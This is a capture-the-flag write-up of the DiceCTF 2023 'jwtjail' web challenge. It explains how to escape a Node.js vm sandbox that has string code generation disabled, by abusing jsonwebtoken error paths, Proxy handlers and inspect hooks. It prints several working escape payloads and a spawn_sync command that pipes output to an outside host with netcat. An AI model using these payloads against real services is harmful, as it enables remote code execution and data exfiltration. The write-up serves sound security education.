DiceCTF 2023 - jwtjail

Categories: web
2023-02-06
by sera

jwtjail (Web) - 3 solves

A simple tool to verify your JWTs!

Oh, that CVE? Don’t worry, we’re running the latest version.

author: Strellic

Read the author’s writeup here!

Challenge

The challenge exposes a website which verifies JWT (JSON web tokens) with the jsonwebtoken NodeJS library. The description references a recent invalidated CVE on this library, but the provided package.lock requires the latest version anyway.

There is a HTML frontend to the challenge, but it is not important, so I will only discuss the server code - which is fortunately pretty short:

"use strict";

const jwt = require("jsonwebtoken");
const express = require("express");
const vm = require("vm");

const app = express();

const PORT = process.env.PORT || 12345;

app.use(express.urlencoded({ extended: false }));

const ctx = { codeGeneration: { strings: false, wasm: false }};
const unserialize = (data) => new vm.Script(`"use strict"; (${data})`).runInContext(vm.createContext(Object.create(null), ctx), { timeout: 250 });

process.mainModule = null; // 🙃

app.use(express.static("public"));

app.post("/api/verify", (req, res) => {
    let { token, secretOrPrivateKey } = req.body;
    try {
        token = unserialize(token);
        secretOrPrivateKey = unserialize(secretOrPrivateKey);
        res.json({
            success: true,
            data: jwt.verify(token, secretOrPrivateKey)
        });
    }
    catch {
        res.json({
            success: false,
            data: "Verification failed"
        });
    }
});

app.listen(PORT, () => console.log(`web/jwtjail listening on port ${PORT}`));

Internally, the service “unserializes” the input by running the input as a JS script with the NodeJS vm module. This module is not intended to provide a sandbox and there are many published escapes, but the setup disables code generation from strings, making it trickier.

const ctx = { codeGeneration: { strings: false, wasm: false }};
const unserialize = (data) => new vm.Script(`"use strict"; (${data})`).runInContext(vm.createContext(Object.create(null), ctx), { timeout: 250 });

We can see the input is wrapped in a script that applies strict mode on the input and is provided a context with a null prototype Object as this. In addition, process.mainModule, which is normally used in escapes to get command execution, is nulled out:

process.mainModule = null; // 🙃

Finally, our “unserialized” return value from the input is fed into jsonwebtoken.verify:

token = unserialize(token);
secretOrPrivateKey = unserialize(secretOrPrivateKey);
res.json({
    success: true,
    data: jwt.verify(token, secretOrPrivateKey)
});

The challenge is basically a NodeJS sandbox escape where code generation is disabled and the VM has a null Object context. In addition, we need to work around the process.mainModule restriction, but that turns out to be pretty simple.

Solution

In general, if we try to use a standard vm escape on this setup, we will see this error:

EvalError: Code generation from strings disallowed for this context

Disabling code generation from strings in the vm module actually applies a flag to V8. Since the flag is implemented in V8, it is generally effective, but one can get around the restriction by interacting with an object that comes from a different context.

More specifically, we can use the constructor.constructor of any non-primitive object that comes from outside the context. (The constructor of an Object is a Function, and the constructor of a Function is, well, a Function constructor.)

The difficulty comes from how to access an object from another context. In addition, we cannot use the arguments.caller.callee trick to traverse the call stack because of strict mode. On top of that, arguments is a special object which seems to be properly in the context of the called function. (One could easily trigger a function call with no arguments with a getter, or a Proxy lookup. Sadly the arguments to a Proxy’s get function are all primitives or from the target context.)

To find an instance where we can get access to such an object, we will want to dive into the code of jsonwebtoken to figure out what exactly happens to our input. The verify function is defined here, and I will paste snippets as I go through the code.

The first thing done to our input is that the JWT itself is verified to be a string:

  if (typeof jwtString !== 'string') {
    return done(new JsonWebTokenError('jwt must be a string'));
  }

This check instantly throws out the JWT argument as being useful, and we will just want to provide a valid normal JWT string as this argument.

We see that if our key is a function it might be used as a callback, but this is only if a callback is set, which it isn’t:

if(typeof secretOrPublicKey === 'function') {
  if(!callback) {
    return done(new JsonWebTokenError('verify must be called asynchronous if secret or public key is provided as a callback'));
  }
  getSecret = secretOrPublicKey;
}

Because we can’t provide a KeyObject, we fall to this code, which uses NodeJS APIs to turn our input into a key:

try {
  secretOrPublicKey = createPublicKey(secretOrPublicKey);
} catch (_) {
  try {
    secretOrPublicKey = createSecretKey(typeof secretOrPublicKey === 'string' ? Buffer.from(secretOrPublicKey) : secretOrPublicKey);
  } catch (_) {
    return done(new JsonWebTokenError('secretOrPublicKey is not valid key material'))
  }
}

We go deeper into createPublicKey which goes into prepareAsymmetricKey. One code path falls through to throwing an Error because the key isn’t a string, buffer, or jwk object:

// Either PEM or DER using PKCS#1 or SPKI.
if (!isStringOrBuffer(data)) {
  throw new ERR_INVALID_ARG_TYPE(
    'key.key',
    getKeyTypes(ctx !== kCreatePrivate),
    data);
}

And finally in the handler for ERR_INVALID_ARG_TYPE, which calls determineSpecificType, we find something interesting - code that either formats our input’s constructor’s name into a string or runs the inspect code on our input:

if (typeof value === 'object') {
  if (value.constructor?.name) {
    return `an instance of ${value.constructor.name}`;
  }
  return `${lazyInternalUtilInspect().inspect(value, { depth: -1 })}`;
}

Finally, we have some code that we can abuse to leak obejcts! All the solution code below needs to be wrapped in a function call like so:

function(){
    <code>
}()

Abusing the name being formatted

This is the intended solution. One may know that formatting a value in JS into a template calls Symbol.toPrimitive if it exists. Providing a constructor.name value that has a Symbol.toPrimitive key allows us to trap a function call, and the third argument of the apply handler is an Array that comes from outside the context!

let a = function() {};
let handler = {
    apply(a, b, c) {
        let process = c.constructor.constructor('return process')();
        // See later section from how to leak flag
    }
}
a = new Proxy(a, handler);
a = {constructor: {name: {[Symbol.toPrimitive]: a}}}
return a;

Abusing inspect

I used this solution. It turns out objects can define their own special behaviour when being inspect-ed by defining a Symbol attribute with value nodejs.util.inspect.custom. This is called with the inspect function itself as a parameter! We can use its constructor to escape. (If anyone is curious, the options parameter has a null prototype.)

const customInspectSymbol = Symbol.for('nodejs.util.inspect.custom');
let a = {
    [customInspectSymbol](a, b, c) {
        let process = c.constructor.constructor('return process')();
        // See later section from how to leak flag
    }
}
a.constructor = null; // we need to pass the constructor.name check
a = {key: a};
return a;

Easier ways to path through code and see lookups

We can also use Proxy to find code paths and trace property access on our object. We can modify the challenge code to provide access to logging.

const unserialize = (data) => new vm.Script(`"use strict"; (${data})`).runInContext(vm.createContext({console}, ctx), { timeout: 250 });

Then we can set up a Proxy on our returned object that logs all the property accesses recursively:

let a = {};
let handler = {
    get(o, k) {
        console.log("get", k);
    	return o;
    }
}
a = new Proxy(a, handler);

return a;

Running this leads us down to getKeyObjectHandle, which also throws an Error that turns out to cause an inspect lookup, which could be exploited just like above!

> node test.js
get Symbol(kKeyType)
get type
get type
TypeError [ERR_CRYPTO_INVALID_KEY_OBJECT_TYPE]: Invalid key object type {}, expected private.

Finally solving it with none of the above

While creating this writeup, I realized there is a more generic approach that can leak an object into our context that can be triggered with any property lookup on our object. Remember earlier when I said we can’t use a getter because arguments itself is an special object? Although the arguments to a getter are not useful, the getter is a function call itself, and we saw with an above solution that by hijacking the argument to apply in a Proxy handler, we can escape the sandbox! Because any property lookup can trigger a Proxy get call or getter, and that function call can itself be a Proxy with an apply handler, we can escape the sandbox with any property lookup, without even knowing anything about the internals.

let a = function() { return ""; };
handler = {
    apply: function(a, b, c) {
        let process = c.constructor.constructor('return process')();
        // See later section from how to leak flag
    }
}
a = new Proxy(a, handler);
let handler2 = {
    get: a
}
let b = {};
b = new Proxy(b, handler2);
return b;

Taking code execution to the flag

Once we have code execution with global scope, we still have to get around the process.mainModule being nulled. The process.binding function allows us to load a native module, one of which is spawn_sync. This module just spawns a child and is used by child_process internally.

With any of the previous techniques, we can get the flag out-of-band like so:

let args = {"args":["sh", "-c", "/readflag | nc HOST PORT"],"file":"sh","stdio":[{"type":"pipe","readable":true,"writable":true}]};
process.binding('spawn_sync').spawn(args);

Flag

dice{th3y_retr4cted_the_cve_:(}

Self-plug:

The author mentioned this challenge is inspired by a challenge I wrote, metacalc. That challenge is easier because an object without a null prototype is directly leaked into the VM, though the intended solution for that one involves using a getter and attacking the call chain.